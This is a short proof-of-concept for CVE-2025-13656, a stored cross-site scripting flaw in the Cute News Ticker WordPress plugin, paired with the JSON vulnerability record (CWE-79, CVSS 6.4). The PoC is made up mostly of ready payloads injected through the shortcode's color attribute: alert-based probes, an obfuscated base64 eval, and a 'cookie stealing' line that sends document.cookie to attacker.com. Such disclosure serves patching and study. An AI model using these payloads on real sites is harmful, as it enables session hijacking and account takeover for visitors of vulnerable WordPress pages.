CVE-2025-13656

<!-- CVE-2025-13656 PoC: Stored XSS via color attribute --> <!-- Author: Contributor or higher role required --> <!-- Method 1: Using shortcode in post/page content --> [cute-news-ticker color="onmouseover=alert(document.domain)//"] <!-- Method 2: More sophisticated payload --> [cute-news-ticker color="onerror=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))//"] <!-- Method 3: Cookie stealing payload --> [cute-news-ticker color="onload=fetch('https://attacker.com/log?c='+document.cookie)//"] <!-- HTML version for theme files --> <div class="cute-news-ticker" data-color='" onmouseover="alert(1)//'></div>

{"cve": {"id": "CVE-2025-13656", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:52.097", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Cute News Ticker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'color' shortcode attribute in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cute-news-ticker/tags/1.0/main-function.php#L60", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cute-news-ticker/trunk/main-function.php#L60", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/cute-news-ticker/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/92f53507-4475-401b-b57c-f6652a868be9?source=cve", "source": "[email protected]"}]}}